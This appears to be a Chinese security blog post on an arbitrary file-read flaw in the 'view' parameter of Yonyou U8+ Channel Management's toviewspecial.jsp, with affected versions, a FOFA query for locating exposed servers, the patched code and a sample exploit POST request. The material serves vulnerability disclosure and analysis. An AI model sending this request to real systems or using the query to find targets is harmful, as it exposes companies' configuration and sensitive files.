用友U8+渠道管理(高级版) toviewspecial.jsp 文件读取漏洞


漏洞简介

用友U8+是用友网络科技股份有限公司推出的企业管理综合平台,广泛应用于财务、进销存、人力资源等企业核心业务系统中。在U8+渠道管理(高级版)模块的 toviewspecial.jsp 页面中,存在一个文件读取漏洞。该漏洞是由于该页面对用户输入的文件路径参数过滤不严,攻击者可通过构造恶意请求,读取服务器上的任意文件,包括配置文件、日志文件或其他敏感数据文件。

影响版本

V18, V16.5, V16.1, V16.0, V15.1, V15.0, V13

fofa语法

title="渠道管理(高级版)"

漏洞分析

根据漏洞通告以及补丁信息

可知漏洞点包括 toviewspecial.jsp 文件,看下补丁

<%@ page contentType="text/html;charset=utf-8"%>
<%
String strURL="/business/common/view/nullview.jsp";
String strView=request.getParameter("view");
    if (strView != null && (strView.contains("WEB-INF") || strView.contains(".."))) {
        // 拒绝访问或者返回错误
        response.sendError(HttpServletResponse.SC_FORBIDDEN, "Access denied");
        return;
    }
if (strView!=null && strView.length()>0)
  strURL=strView;
request.setAttribute("ui_key",request.getParameter("ui_key"));
%>
<html>
<head>    
  <meta http-equiv="Expires" content="0"></meta>    
  <meta http-equiv="Cache-Control" content="no-cache"></meta>    
  <meta http-equiv="Pragma" content="no-cache"></meta>
</head>   
<body>
  <jsp:include page="<%=strURL%>" />
</body>
</html>

那么很容易推断出补丁之前是没有对strView即view参数进行过滤校验的,从而通过jsp的include语法包含特定文件达到文件读取漏洞的效果。但是需要jsp的include语法造成的文件读取漏洞有限制的,只能包含部分静态文件,如果包含的文件包括jsp动态执行的代码部分,可能会报错。

漏洞复现

有三处文件都存在同样的漏洞

POST /business/common/toviewspecial.jsp HTTP/1.1
Host: u8.mrxn.net
Content-Type: application/x-www-form-urlencoded

view=toviewspecial.jsp

参考


手机扫码阅读

索贝融媒体 MainServlet 反射调用致SQL注入与命令执行漏洞

【一日一技】快速从一堆jar包找到包含特定包名的jar

评 论